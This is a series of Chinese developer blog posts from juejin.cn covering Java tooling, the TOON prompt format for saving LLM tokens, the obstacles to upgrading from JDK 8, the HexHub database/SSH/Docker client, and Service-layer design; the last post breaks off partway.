实战示例:线上问题排查,不方便加日志时,用watch命令观察方法执行:
watch com.example.service.UserService queryUser "{params,returnObj}" -x 3
4. JProfiler
Java剖析工具的王者,能够分析CPU热点、内存泄漏、线程阻塞等问题。与其他分析工具相比,JProfiler的UI更友好,数据呈现更直观。
核心功能:
- 内存视图:找出占用内存最多的对象
- CPU视图:定位热点方法
- 线程视图:发现死锁和阻塞
- 实时遥测:监控线上应用,无需重启
技巧:养成定期对自己负责的服务做性能分析的习惯,很多问题在上线前就能发现。
5. Charles/Fiddler
抓包工具是API调试的必备利器。Charles(Mac)或Fiddler(Windows)能够拦截、查看和修改HTTP/HTTPS请求和响应。
实用功能:
- 模拟网络延迟
- 请求重写
- 断点调试HTTP请求
- 反向代理
在前后端分离开发和调试第三方API时,这类工具能节省大量时间。
三、代码质量工具
6. SonarQube + SonarLint
SonarQube是静态代码分析工具,可以检测代码中的漏洞、坏味道和潜在bug。而SonarLint是其IDE插件版,能在你编码时实时提供反馈。
最佳实践:
- 在CI流程中集成SonarQube
- 为团队制定"质量门"标准
- 使用SonarLint实时检查,避免代码审查时返工
技巧:自定义规则集,忽略对特定项目不适用的规则,避免"过度洁癖"。
7. ArchUnit
用代码的方式测试架构规则,确保项目架构不会随着时间推移而腐化。
@Test
public void servicesAndRepositoriesShouldNotDependOnControllers() {
ArchRule rule = noClasses()
.that().resideInAPackage("..service..")
.or().resideInAPackage("..repository..")
.should().dependOnClassesThat().resideInAPackage("..controller..");
rule.check(importedClasses);
}
将架构约束加入单元测试,比写文档更有效,因为违反规则会导致测试失败。
8. JaCoCo
代码覆盖率工具,与Maven/Gradle集成,生成直观的HTML报告。它不仅统计单元测试覆盖了哪些代码,还能显示哪些分支没有测试到。
实用配置:在Maven中设置覆盖率阈值,低于阈值则构建失败:
<configuration>
<rules>
<rule>
<element>BUNDLE</element>
<limits>
<limit>
<counter>LINE</counter>
<value>COVEREDRATIO</value>
<minimum>0.80</minimum>
</limit>
</limits>
</rule>
</rules>
</configuration>
四、API开发与测试工具
9. Postman + Newman
Postman是API开发和测试的标准工具,而Newman是其命令行版本,适合集成到CI/CD流程中。
高级用法:
- 环境变量管理不同测试环境
- 请求前/后脚本自动化测试
- 导出集合到Newman在CI中执行
- 团队共享API集合
技巧:为每个项目创建环境变量集合,包含测试环境、开发环境、生产环境配置,一键切换。
10. OpenAPI Generator
从OpenAPI(Swagger)规范自动生成API客户端和服务器端代码。
openapi-generator generate -i swagger.json -g spring -o my-spring-server
前后端并行开发时,通过API优先设计,让前端可以基于Swagger UI与Mock服务器工作,而后端则基于生成的接口实现业务逻辑。
五、数据库工具
11. DBeaver
全能型数据库客户端,支持几乎所有主流数据库,功能强大且开源免费。
必备功能:
- ER图可视化
- 数据导出/导入
- SQL格式化
- 数据库比较
- 执行计划分析
技巧:使用其"SQL模板"功能,保存常用查询模板,提高重复查询效率。
12. Flyway/Liquibase
数据库版本控制工具,将数据库结构变更纳入版本管理,确保开发、测试和生产环境的数据库结构一致性。
以Flyway为例:
@Bean
public Flyway flyway() {
return Flyway.configure()
.dataSource(dataSource)
.locations("classpath:db/migration")
.load();
}
最佳实践:
- 每个变更一个脚本文件
- 脚本文件命名规范化
- 脚本必须是幂等的
- 将验证步骤集成到CI流程
六、构建与部署工具
13. Gradle + Kotlin DSL
虽然Maven仍是Java构建工具的主流,但Gradle的灵活性和性能优势明显。使用Kotlin DSL而非Groovy可以获得更好的IDE支持和类型安全。
plugins {
id("org.springframework.boot") version "2.7.0"
id("io.spring.dependency-management") version "1.0.11.RELEASE"
kotlin("jvm") version "1.6.21"
}
dependencies {
implementation("org.springframework.boot:spring-boot-starter-web")
testImplementation("org.springframework.boot:spring-boot-starter-test")
}
优势:
- 增量构建更快
- 依赖缓存更智能
- 自定义任务更灵活
- 多项目构建更高效
14. Docker + Docker Compose
容器化是现代Java开发的标配,Docker让环境一致性问题成为历史。
实用命令:
# 启动开发环境所需的所有服务
docker-compose up -d
# 查看容器日志
docker logs -f container_name
# 进入容器内部
docker exec -it container_name bash
技巧:创建一个包含常用中间件(MySQL、Redis、RabbitMQ等)的docker-compose.yml,一键启动开发环境。
15. GitHub Actions/Jenkins
CI/CD是提高团队效率的关键环节。GitHub Actions适合开源项目,Jenkins则更适合企业内部构建流程。
GitHub Actions示例:
name: Java CI
on:
push:
branches: [ main ]
pull_request:
branches: [ main ]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Set up JDK 17
uses: actions/setup-java@v2
with:
java-version: '17'
distribution: 'adopt'
- name: Build with Gradle
run: ./gradlew build
最佳实践:将代码风格检查、单元测试、集成测试、安全扫描全部纳入CI流程,确保代码质量。
七、辅助工具
16. PlantUML
用代码生成UML图,比拖拽式画图工具更高效,特别是需要频繁修改图表时。可以和版本控制系统无缝集成。
@startuml
package "Customer Domain" {
class Customer
class Address
Customer "1" *-- "n" Address
}
package "Order Domain" {
class Order
class LineItem
Order "1" *-- "n" LineItem
Order "*" -- "1" Customer
}
@enduml
IDEA集成:安装PlantUML插件,编写代码时实时预览图表。
17. Obsidian/Logseq
知识管理工具,基于Markdown文件的本地知识库。对于需要持续学习的Java工程师来说,构建个人知识体系至关重要。
推荐用法:
- 每学习一个新技术,创建一个页面
- 记录常见错误和解决方案
- 构建项目文档和架构决策记录
- 使用日常笔记捕捉想法和灵感
技巧:利用双向链接功能,将知识点相互关联,构建知识网络,而非简单的知识树。
总结
最后,工具再好,也需要时间精力去掌握。建议每次只引入1-2个新工具,熟练后再考虑扩展。
毕竟,真正的效率来源于熟练度,而非工具数量。
来源:juejin.cn/post/7506414257399939111
LLM 交互的“省钱”新姿势:JSON 已死,TOON 当立
背景
嘿,兄弟!你是不是也感觉 AI 越来越香,但 Token 账单也越来越“烫”? 💸
GPT-4o、Kimi 这些模型的上下文窗口动不动就几十万、上百万 Token,我们恨不得把整个项目都扔进去。但冷静下来看看账单... ... 哇哦
LLM 的 Token 每一分都是真金白银啊!
当大家都在想办法优化模型、优化算法时,有没有想过,我们每天都在用的 JSON,可能就是那个“背刺”我们 Token 费用的“内鬼”?
JSON 虽好,但它实在是... ... 太!啰!嗦!了!
“内鬼”现形:JSON 到底有多浪费
在 LLM 的世界里,Token 就是钱。表达同样的信息,谁用的 Token 少,谁就是赢家。
不信?我们直接上例子,用事实说话。
假设我们有这样一个简单的用户列表:
1. 冗长的“老大哥”:JSON
标准的 JSON 格式,充满了大括号、双引号和逗号,简直是 Token 杀手。
[
{
"id": 1,
"name": "Alice",
"age": 30
},
{
"id": 2,
"name": "Bob",
"age": 25
},
{
"id": 3,
"name": "Charlie",
"age": 35
}
]
(数数看,光是 name 这个词就重复了 3 遍!)
2. “小清新”但还不够:YAML
YAML 确实清爽了不少,用缩进代替了括号,也去掉了双引号。
- id: 1
name: Alice
age: 30
- id: 2
name: Bob
age: 25
- id: 3
name: Charlie
age: 35
嗯,进步了,但不多。id, name, age 这些键名还是在无情地重复。
3. “抠门”的王者:TOON 登场!
TOON (Token-Oriented Object Notation)闪亮登场,它用了一种近乎“变态”的方式来压缩信息:
[3]{id,name,age}:
1,Alice,30
2,Bob,25
3,Charlie,35
看明白了吗?[3] 表示有3个对象,{id,name,age} 只定义了一次“表头”,后面的数据就像 CSV 一样紧凑排列。
没有对比就没有伤害! 同样的数据,TOON 的 Token 占用量简直是“骨折价”!
啥是 TOON?为 LLM 而生的“省钱利器”
TOON(面向 Token 的对象表示法)就是这么一个专为 LLM 提示词而生的、紧凑且人类可读的数据格式。
它能表示和 JSON 一模一样的对象、数组和数据类型,但它的语法就是为了最小化 Token 使用而设计的。
你可以把它理解为 YAML 的嵌套结构 + CSV 的表格布局 = TOON
TOON 最擅长处理的场景,就是我们最常见的**“结构一致的对象数组”**。在实现 CSV 般紧凑的同时,它又提供了清晰的结构信息({key1, key2}:),帮助 LLM 更可靠地解析和验证数据。
注意: TOON 并非银弹。如果你的数据是深度嵌套或结构极其不统一的,那 JSON 可能还是老老实实的选择。但在“对象数组”这个 LLM 最常见的场景下,TOON 简直无敌。
数据为证:TOON 到底有多能打?
光说不练假把式。Chase Adams 大佬做了一组非常直观的基准测试,对比了 JSON、YAML、TOON 和 CSV 的 Token 效率。


基准测试链接:http://www.curiouslychase.com/playground/…
结论一目了然:
CSV 是 Token 效率的“天花板”,但它无法表示嵌套结构,而且没有元数据,LLM 很容易“读歪”。
TOON 稳坐第二把交椅,效率直逼 CSV,但它保留了完整的结构信息。
JSON 和 YAML... ... 两位老大哥,在 Token 效率上被 TOON 吊打。
如何在 LLM 中“无痛”用上 TOON?
你可能会想:“哇,这么牛?那我岂不是要重构整个系统?”
完全不用
官方推荐的架构是这样的:

看懂了吗?TOON 只是一个**“转换层”**。
你的系统内部,该用 JSON 还是用 JSON,啥也不用改。
在调用 LLM 之前,你只需加一个编码步骤,把 JSON 编码(Encode) 成 TOON 格式再发送。
LLM 返回 TOON 格式的数据后,你再解码(Decode) 成 JSON 给系统用。
你就把它当成一个“中间件”,在和 LLM 交互的“最后一公里”上帮你省钱
别再浪费 Token 了!
在 LLM 时代,Token 效率就是核心竞争力。
JSON 是一个伟大的格式,但在 LLM 交互这个新场景下,它显得既臃肿又昂贵。
TOON 提供了一个完美的替代方案:它在保留 JSON 完整表达能力的同时,实现了接近 CSV 的 Token 效率。
如果你还在为高昂的 LLM Token 费用而头疼,如果你还在忍受 JSON 带来的冗余,那么,是时候给你的系统“升个舱”了
参考
来源:juejin.cn/post/7572453554331009024
JDK25已来,为何大多公司仍在JAVA8?
第一章:JDK 25 都发了,为什么大家还在 Java 8
JDK 25 发布那天,我特意去看了一眼发布说明。内容不复杂,新特性不少,语气一如既往地克制,像是在告诉你: “你可以升级了,但我们不催。”
这种感觉我在 Java 世界里已经很熟了。
同一天,Python 社区的画风完全不一样。Python 3.13 的兼容性讨论、弃用警告、生态适配进度,被反复拿出来说。很多库会直接写在 README 里:“Python 3.8 即将停止支持,请尽快升级。”Java 这边没有这种集体施压。JDK 25 发布了,但 JDK 8 依然能跑、能用、能上线。
我翻了下手头几个线上系统的运行环境,结果并不意外:
- 老核心系统:Java 8
- 偏边缘的新服务:Java 11
- 真正用到 17 的,只有少数新项目
- 至于 21、25,基本只存在于 PPT 和技术分享里
这不是个别现象。招聘网站、云厂商镜像、监控 SDK 默认支持版本,几乎都在默默告诉你一件事:Java 8 依然是“安全版本”(你发任你发,我用java8)。这和 Python 的升级节奏形成了非常明显的反差。
Python 2 → 3,是一次不升级就活不下去的断代。Java 8 → 25,更像是一次你可以一直不动的演进。
从技术角度看,Java 明明一直在进化:
- 语言层面:var、record、sealed class
- JVM 层面:GC、JIT、内存模型
- 工程层面:模块化、工具链
但这些变化,没有哪一项是“非升不可”。
我见过不少 Java 服务,代码风格停在 2016 年,但稳定运行到今天。也见过 Python 项目,因为一个依赖不再支持旧版本,被迫整体升级。
这两种生态的差异,很早就写在设计选择里了。
Java 的向后兼容是它的优势。但到了 JDK 25 这个时间点,这个优势开始变得有点微妙。
因为问题已经不是:
JDK 8 能不能用?
而变成了:
如果一直停在 JDK 8,到底是在保守,还是在逃避某些成本?
这个问题,在技术会议上很少被正面讨论。更多时候,它会被一句话带过:
“先别动,风险太大。”
可风险到底在哪?为什么 Python 升级时大家骂归骂,还是会跟着走;而 Java 这边,哪怕官方已经跑到 25,企业却依然集体停在 8?
我后来发现,真正卡住升级的,从来不是新特性本身。而是升级这件事,一旦开始,就很难只停在“换个 JDK”上。但这件事,只有在你真的尝试过一次升级之后,才会意识到。你也就会抱怨为何JDK会把普及新特性的成本强加在每个java开发者身上
第二章:升级 JDK,看起来向下兼容,实际上并不“平滑”
很多人对 Java 升级的第一判断,来自一个几乎写进 DNA 的认知:
Java 是强向下兼容的语言。
这句话本身没错,也是大多数人从jdk7到jdk8无缝升级的真实感受。但问题在于,大多数人只把它理解成了语法层面。
你用 Java 8 写的代码,放到 JDK 17、21、25 上,大概率还能编译。for、try-catch、Stream、lambda,一个都不会少。这也是为什么很多升级评估一开始都显得非常乐观。真正的问题是 Java 的“向下兼容”,从来不等于 JVM 的平滑迁移。
第一次认真推进 JDK 升级时,我们的目标设得非常保守:不引入新语法、不改业务逻辑、不升级框架,只把运行时从 Java 8 换成 17。理论依据也很充分:代码是向下兼容的,JVM 只要能跑就行。
结果第一个暴露问题的,不是业务代码,而是 JVM 本身。
从 JDK 9 开始,Java 做了一次非常激进、但长期看又必须要做的事情:模块化(JPMS) 。这一步,本质上是在重塑 JVM 的边界。在 Java 8 之前,JDK 更像是一个“开放的整体”。JDK 自己的内部实现,和应用代码之间,并没有严格的隔离。于是很多框架、工具、甚至业务代码,都默认了一件事:
JVM 内部的类,我是可以摸得到的。
比如反射。
Field field = String.class.getDeclaredField("value");
field.setAccessible(true);
在 Java 8,这是一个非常常见、甚至被大量框架依赖的操作。但在模块化之后,这种行为被明确标记为:非法访问(Illegal Reflective Access) 。升级后,日志里开始出现大量这样的提示:
Illegal reflective access by xxx
这类 warning 很容易被误判成“噪音”。因为程序还能跑,接口也没挂。但实际上,这不是 JVM 在提醒你“写得不优雅”,而是在明确告诉你:
你现在还能用,是 JVM 在帮你兜底。
于是有人会加启动参数:
--add-opens java.base/java.lang=ALL-UNNAMED
问题是,从这一刻开始,所谓的“向下兼容”已经被你亲手打破了。你不再是被 JVM 兼容,而是用参数强行绕过 JVM 的设计边界。这也是 Java 升级过程中一个非常隐蔽的转折点:
- 代码层面看起来没变
- 启动参数开始越来越复杂
- JVM 行为开始依赖“约定俗成的补丁”
而这一步,一旦走出去,基本就退不回去了。更麻烦的是,这种不平滑迁移,并不是“偶发问题”,而是 Java 设计演进的必然结果。模块化不是可选项,它是为了:
- 限制 JVM 内部 API 滥用
- 提升安全性
- 为长期演进留空间
但代价是:大量在 Java 8 时代“合理存在”的用法,在新 JVM 下被系统性否定了。这也是为什么很多团队会有一种强烈的错觉:
代码明明没变,怎么升级 JDK 反而问题一堆?
因为你真正升级的,不只是一个版本号,而是 JVM 对“什么是合法行为”的判断标准。而这类问题,偏偏又很难在测试环境一次性暴露完。有的库只在特定路径触发反射;有的异常只在高并发下出现;有的 warning 今天是 warning,下一版就变成 error......
这也是 Java 升级和 Python 最大的不同。
Python 的升级是显式断代:你升级,就必须改代码。
Java 的升级是隐式收紧:你不改代码,但 JVM 会慢慢不再纵容你。
这种“看起来兼容,实际上在变”的特性,让 Java 在企业环境里变得越来越尾大不掉。不是升不了,而是你永远无法确定:
下一步,是不是会踩到一个你完全没预期过的 JVM 行为变化?
也正因为这样,很多公司最终选择了一个看似稳妥、但风险被推迟的方案:停在 Java 8。
第三章:真正让升级失败的,不是编译错误,而是线上行为变了
如果只是编译报错,JDK 升级反而简单。
编不过,改代码;启动不了,补参数;问题是可定位的,也是可回滚的。
真正让团队对升级产生恐惧的,往往发生在上线之后。升级前,所有检查都过了:
- 单元测试全绿
- 接口回归没问题
- 压测 QPS、RT 都在预期范围内
代码一行没改,JDK 从 8 换成 17。
上线当天没有事故。第二天开始,监控里出现了一些非常微妙的变化。不是报错,也不是性能雪崩。而是一些 “看起来不该变的行为,变了” 。
最早被发现的是 GC 行为。Java 8 默认用的是 Parallel GC,而 JDK 17 的默认已经变成了 G1。当时的判断很简单:G1 是“更先进的 GC”,不应该比旧的差。
但线上数据并不这么配合。
- Full GC 次数少了
- Minor GC 次数变多
- 单次停顿更短,但更频繁
这对 JVM 来说是“健康变化”,但对业务来说,结果是:
某些接口的 P99 响应时间开始抖动。
不是慢,而是不稳定。问题在于,这类变化不会在压测里明显暴露。压测关注的是吞吐和平均值,而不是长尾。你只能在真实流量下,才会看到这些边缘效应。
紧接着出现的是更难定位的问题:类加载行为的变化。JDK 9 之后,类加载和模块边界被重新梳理过。很多“以前恰好能工作”的加载顺序,在新 JVM 下变了。
最典型的是 SPI 机制。
ServiceLoader.load(SomeService.class)
在 Java 8 下,这段代码的加载顺序是稳定的。在新 JDK 下,如果存在多个实现,顺序可能发生变化。大多数时候,这没什么影响。但如果你的代码里隐式依赖了加载顺序,问题就来了:比如默认实现被换了;没有异常,没有日志,只是业务行为“和以前不太一样”。这类问题,几乎不可能靠自动化测试完全覆盖。因为测试本身,也是在“旧认知”下设计的。
还有一类更隐蔽的变化,来自于 JIT。JVM 在新版本里持续优化编译策略。某些代码路径,在 Java 8 下是“冷路径”,在新 JDK 下被识别成“热点”。结果是:
- 以前不明显的锁竞争,被放大
- 原本可以忽略的对象创建,开始影响 GC
代码没变,但 JVM 对代码的“理解方式”变了。
这也是为什么很多线上问题,在排查时会陷入一种诡异的状态:
SQL 没变,代码没变,配置没变,只有 JDK 变了
而你又很难证明:问题真的就是 JDK 引起的。
到这一步,升级已经不再是技术选型问题了。它变成了一个心理问题。
团队开始本能地回避这种“不可解释风险”。即便你知道:
- 这些问题不是 JDK 的 bug
- 而是历史代码对 JVM 行为的过度依赖
但现实是,线上系统不接受“技术上合理”的解释。这也是很多公司在第一次升级尝试之后,迅速得出结论的原因:
不是升不了, 而是不值得再为这种不确定性买单。
于是升级计划被无限期搁置。Java 8 继续稳定运行,问题被推迟,而不是被解决。
第四章:真正的风险,不在 JDK,而在你不敢动的那一部分代码
当升级卡在第三章那些“行为变化”上时,团队往往会得出一个结论:
问题太散了,风险不可控。
但后来复盘发现,真正不可控的,从来不是 JDK,而是我们不敢去验证的那一块代码。几乎每个中大型 Java 项目里,都有这样一层东西:
- 没人愿意动
- 但所有人都在用
- 出问题只能回滚
它可能是十年前写的公共组件,也可能是一次紧急需求里硬塞进去的工具类。
在 Java 8 时代,这类代码有一个共同特征:它们和 JVM 的关系非常近。比如自定义 ClassLoader。
public class CustomClassLoader extends ClassLoader {
@Override
protected Class<?> findClass(String name) {
// 从非标准路径加载字节码
}
}
在 Java 8 下,这种实现非常常见。升级之后,问题不一定立刻出现。但一旦涉及模块、服务加载或反射,行为就开始变得不可预测。
再比如字节码增强。无论是早期的 cglib,还是基于 ASM 的工具,很多实现都默认了:
- 某些 JDK 内部类是存在的
- 某些方法签名是稳定的
这些假设,在新 JDK 下不再成立。更现实的问题是:这些代码往往没有完整测试。因为它们本来就不是“业务逻辑”。它们被视为基础设施, 被默认是“不会出问题的”。升级 JDK 时,测试覆盖率看起来还不错。但真正和 JVM 行为强相关的部分,几乎没有被验证过。
于是升级就进入了一个死循环:
- 不敢上线,是因为没验证
- 不验证,是因为不敢动
- 不动,就永远无法升级
这也是 Java 升级和其他语言很不一样的地方。Python 项目里,底层行为大多由解释器和库兜住。Java 项目里,很多“工程能力”是直接构建在 JVM 之上的。而这些能力,恰恰是最难平滑迁移的。
还有一个被严重低估的因素,是运维和排障成本。Java 8 的排障手段,大家已经非常熟悉:
- jmap
- jstack
- 老一套 GC 日志
新 JDK 不是不能用这些工具,而是行为、参数、输出都在变化。同一条 GC 日志,在不同版本下,含义已经不完全一致。这会直接导致一个现实问题:
出问题时,团队是否有信心“看懂”新 JDK 的行为?
如果答案是否定的,那升级本身就是一种冒险。
于是你会看到一种很典型的现象:
- 开发知道 Java 17 更好
- 架构知道 Java 21 是趋势
- 但一到生产,所有人都默认:还是 Java 8 吧
不是因为它完美,而是因为它足够“熟”。
升级 JDK,本质上不是技术债的清理,而是一次对未知的正面接触。而大多数系统,并没有为这种接触做好准备。也正因为这样,很多公司并不是“卡在 Java 8”,而是被 Java 8 保护了很多年。
第五章:真正逼你升级的,从来不是技术本身
在很多公司里,JDK 升级从来不是一个“主动议题”。它通常出现在某个非常具体、而且很现实的场景里。比如云厂商的一封邮件。内容往往写得很克制,大概意思是:
某某 JDK 版本即将停止安全更新 请尽快规划升级方案
这类邮件第一次看到时,大多数人并不会紧张。因为“即将”往往意味着还有一段缓冲期。真正产生压力的,是第二封、第三封。
当你发现云厂商的默认镜像开始发生变化,新建实例已经不再提供 Java 8,升级这件事,就从“技术选择”变成了外部约束。还有安全审计。Java 8 的漏洞,并不比新版本多。但问题在于:很多漏洞,在 Java 8 上不再修了。这意味着同样一个问题:
- 在新 JDK 上,是一个补丁
- 在 Java 8 上,是一个长期风险
安全团队不会和你讨论 JVM 设计演进。他们只看结果: 有没有官方支持,有没有风险背书。
接着是第三方生态。越来越多的中间件、SDK、监控工具,开始把“最低支持 JDK”往上抬。不是突然抛弃 Java 8,而是新功能不再考虑它。
你会慢慢发现:
- 想用新版本框架 → 需要新 JDK
- 想接入新工具 → 官方不再测试 Java 8
- 想拿到性能优化 → 只在新 JVM 生效
这时候,继续停在 Java 8 的成本开始显性化。不是系统跑不动,而是你被锁在一个越来越狭窄的选择空间里。
更现实的是人员问题。新来的工程师,默认使用的已经是 Java 17 甚至更高版本。他们熟悉的是新工具链、新调试方式。当他们面对一套 Java 8 的系统时,不是学不会,而是:
很多问题的解决路径,已经不在他们的经验范围内了。
这会让“稳定”变成另一种风险。因为稳定的前提,是有人能长期维护它。到这一步,升级已经不再是“要不要”的问题。 而是变成了:
现在升级,还是被动升级?
很多团队选择继续拖延,希望把升级成本压到最低。
但现实往往是:拖得越久,升级的边界越难控制。
当升级真的不可避免时,你已经不再有“慢慢试”的空间。而这,才是 Java 8 最危险的地方。它让你误以为,时间是站在你这边的。
第六章:一次相对靠谱的 JDK 升级,应该从哪里开始
真正开始升级之前,有一件事必须先想清楚:你这次升级,是为了“到达某个版本”,还是为了“验证系统能否继续演进”。
这两个目标,看起来很像,路径完全不同。很多失败的升级,问题就出在一开始选错了目标。
如果你只是想“把 Java 8 换成 17”,那你会天然倾向于:
- 尽量不改代码
- 尽量不动依赖
- 尽量让系统看起来“没变”
但这种升级方式,本质上是在赌:赌 JVM 的变化不会触发你没覆盖到的路径。
相对靠谱的升级,第一步反而是承认一件事:
有些问题不是升级带来的, 而是升级帮你提前暴露出来的。
所以真正的起点,往往不是生产环境,而是一个可以被随时推翻的验证环境。不是单元测试,也不是本地跑一下。而是把完整应用,用新 JDK 跑起来。不接真实流量,但一定要接真实配置、真实依赖、真实启动参数。
很多团队在这里就已经踩到了第一个坑:启动参数。Java 8 下积累了大量 JVM 参数,其中不少早已被废弃,甚至在新版本里直接失效。你会看到类似这样的警告:
Ignoring option PermSize; support was removed in 8.0
在 Java 8 你还能“假装没看到”,在新 JDK 下,它会直接提醒你:这些参数已经没有意义了。清理这些参数,本身就是一次风险排查。不是“能不能启动”, 而是启动之后,哪些地方开始行为变化。这里有一个非常实际的做法:在同一套代码下,同时跑两个版本的 JVM。
- 一套用 Java 8
- 一套用目标 JDK
对外提供同样的接口,跑同样的请求。不需要全量对比结果,但要盯几个关键指标:
- P99 延迟
- GC 行为
- 异常日志类型是否变化
很多问题,不是“新版本一定有 bug”,而是你第一次看到了原来就存在的极端情况。还有一个经常被忽略的点:日志和监控工具本身是否适配新 JDK。有些 agent 在 Java 8 下工作得很好,但在模块化之后,注入行为发生变化。结果不是监控失效,而是监控数据“看起来正常,其实已经不完整”。
如果你在升级过程中,突然发现某些指标消失了,那不是系统变健康了,而是你少看了一部分。这也是为什么,靠谱的升级节奏通常很慢。不是因为技术上推进不了,而是你需要时间去重新建立:
“我对这个系统行为的信心。”
到这里,升级才算真正开始。不是宣布成功,而是你终于知道:
- 哪些问题是 JDK 带来的
- 哪些问题是历史债务
- 哪些地方,必须在升级过程中一起解决
而这一步,几乎不可能一蹴而就。也正因为这样,很多公司在真正启动升级后,才意识到一件事:升级 JDK,其实是在逼自己重新理解系统。 而这件事,本身就是一次不小的工程。
第七章:如果一直不升,会发生什么?
在很多团队内部,其实都默认了一种状态:
不升级,不代表现在就有问题。
这句话在相当长的一段时间里,都是成立的。Java 8 足够稳定,线上系统运行多年,没有明显的性能瓶颈,也没有无法解决的故障。于是“暂时不升”逐渐变成了“长期不升”。真正的问题,是这种状态并不是静止的。最先发生变化的,往往不是系统本身,而是它所处的环境。云厂商开始调整基础镜像;CI/CD 环境里的默认 JDK 版本往前走;安全扫描工具对旧版本的容忍度越来越低
你会发现,原来“理所当然”的前提,一个一个消失了。接着是依赖生态。一开始只是新功能不支持 Java 8,后来变成新版本直接不再测试,再后来是明确标注:不兼容。这时候你还能苟住,靠锁版本、靠私服、靠内部维护。
但代价在慢慢累积。每一次新需求评估,都会多一个隐含条件:
这个东西,能不能在 Java 8 上跑?
这个问题一旦出现得足够频繁,系统就已经被版本反向塑形了。更危险的是,问题开始延迟出现。
很多在新 JDK 下会被立刻暴露的行为问题,在 Java 8 下被默默吞掉。你看不到 warning;也感受不到约束。
直到某一天,你必须升级。那时候你面对的,已经不是一次版本迁移,而是一堆被时间放大的设计问题。而升级窗口,反而更小了。
因为这次升级,不是你主动选的。可能是:
- 安全合规要求
- 外部依赖强制
- 云平台策略调整
你已经没有“慢慢试”的空间。于是很多团队会在这个阶段做出一个看似合理的选择:
那就继续顶着吧,能跑一天是一天。
问题在于,这条路并不是线性的。系统越老,理解成本越高,可控范围越小。
最终你会发现,你并不是在“稳定运行一个老系统”,而是在维护一个越来越没人敢动的黑盒。
这时候,Java 8 不再是你的缓冲垫,而是你的时间锁。
而你已经很难判断:
现在不升级,到底是在规避风险, 还是在把风险推给未来一个更糟糕的时刻?
这一点,很多团队只有在真正被逼到墙角时,才会意识到。
结语:也许问题不只在我们
写到这里,再回头看“为什么还卡在 Java 8”,很多原因已经很清楚了:
- 生态复杂
- 历史债重
- 升级风险真实存在
但如果只停在这里,其实有点不公平。因为有一个问题,很少被正面拿出来讨论:
Java 真的做到“向下兼容”了吗?
从语法层面看,是的。Java 8 写的代码,放到 JDK 25,大多数还能编译。但从工程和运行时层面看,答案并没有这么确定。JDK 9 之后,JVM 的内部结构、边界、约束,被系统性地重构过。模块化不是补丁,是一次方向性的调整。这个调整本身没有错。甚至可以说,是 Java 走向长期可维护性的必经之路。
问题在于:JDK8之后演进的成本,几乎全部落在了使用者身上。
旧代码还能跑,但开始被警告;旧用法还能用,但需要加参数;旧依赖还能凑合,但不再被官方支持
从结果上看,JDK 并没有为“平滑迁移”提供一条真正低成本的路径。它选择的是:
保证不立刻崩, 但也不保证你能轻松往前走。
这是一种非常 Java 的工程取舍。向后兼容,被理解成“不破坏既有运行”;而不是“帮助你完成迁移”。
于是一个微妙的局面就出现了:
- JDK 在持续演进
- 企业系统被留在原地
- 升级的代价,被默认为“业务方应该承担的成本”
当升级困难时,我们习惯反思自己的架构、代码、历史债。
但很少有人问一句:
如果一个平台的演进,让大多数成熟用户都不敢升级, 那这个演进路径,是否真的对“工程用户”友好?
也许这并没有标准答案。Java 选择了稳定、选择了克制、选择了长期演进。而代价,是把升级这件事,变成了一次高认知门槛的工程决策。
所以今天还停在 Java 8 的团队,未必是保守,也未必是技术债失控。有时候,只是因为他们不想为一次并不完全由自己造成的不连续演进, 付出过高的试错成本。
当然,这并不意味着一直停留就是对的。
只是到了 JDK 25 这个节点,也许我们该承认一件事:
Java 的升级之所以难, 并不只是因为系统老, 也因为这条升级路,本身就不够平坦。
而要不要踏上这条路,现在,依然没有一个放之四海而皆准的答案。
来源:juejin.cn/post/7599551824548397082
告别切换!一个工具搞定数据库、SSH和Docker管理
关注我的公众号:【编程朝花夕拾】,可获取首发内容。
01 引言
你是否找过免费可用的数据库连接工具,又寻找SSH的连接工具。我们自从收到Navicat律师函警告后,从一度卸载了所有破解的软件,花了很多时间寻找替代品。
这两天发现了一个All in one的集成软件,可以连接数据库、SSH、Docker的神仙工具:HexHub
02 简介

HexHub 是一款专为开发者和运维人员设计、集成了数据库、SSH、SFTP和Docker管理功能的桌面图形界面工具。其核心理念是“All in one”,旨在提供一个统一的工作平台。
官方提供了免费版和商业版,然而免费版已经足够我们日常使用了。

03 使用
官方提供了三种平台的安装包,满足不同的平台的需要。

3.1 数据库连接
目前满足的数据有:Redis、Mysql、MariaDB、PostgreSQL、SqlServer、ClickHouse、SQLite、Oracle
我们以Mysql为例:

我们填入数据库信息即可:

控制台库表提示,关键词高亮的辅助信息。

还有常用的执行计划、格式化、导出、保存等

对于表的操作涵盖了常用的操作,完全满足日常需要。

3.2 SSH
直接右键建立SSH连接即可。

界面主要分了三屏:控制台、UI以及监控。其中UI和监控可以手动收起来或者展开。

控制台的配色,感觉下来还是比较舒服的。
3.3 Docker
Docker的配置类似

其中Docker的配置可能会出现不成功的问题,官方也给除了解决方案:

04 小结
如果你目前在同时使用多个不同的工具来完成日常工作,那么尝试 HexHub 来简化工作流可能会是一个不错的选择。
来源:juejin.cn/post/7597299207573946414
为什么Java里面,Service 层不直接返回 Result 对象?
前言
昨天在Code Review时,我发现阿城在Service层直接返回了Result对象。
指出这个问题后,阿城有些不解,反问我为什么不能这样写。
于是我们展开了一场技术讨论(battle 🤣)。
讨论过程中,我发现这个看似简单的设计问题,背后其实涉及分层架构、职责划分、代码复用等多个重要概念。
与其让这次讨论的内容随风而去,不如整理成文,帮助更多遇到同样困惑的朋友理解原因。
知其然,更知其所以然。
耐心看完,你一定有所收获。

正文
职责分离原则
在传统的MVC架构中,Service层和Controller层各自承担着不同的职责。
Service层负责业务逻辑的处理,而Controller层负责HTTP请求的处理和响应格式的封装。
当我们将数据包装成 Result 对象的任务交给 Service 层时,意味着 Service 层不再单纯地处理业务逻辑,而是牵涉到了数据处理和响应的部分。
这样会导致业务逻辑与表现逻辑的耦合,降低了代码的清晰度和可维护性。
看一个不推荐的写法:
@Service
public class UserService {
public Result<User> getUserById(Long id) {
User user = userMapper.selectById(id);
if (user == null) {
return Result.error(404, 用户不存在);
}
return Result.success(user);
}
}
@RestController
public class UserController {
@Autowired
private UserService userService;
@GetMapping("/user/{id}")
public Result<User> getUser(@PathVariable Long id) {
return userService.getUserById(id);
}
}
上面代码中,Service 层不仅负责从数据库获取用户信息,还直接处理了返回的结果。
如果我们需要改变返回的格式,或者进行错误信息的标准化,所有 Service 层的方法都需要修改。这样会导致代码的高耦合。
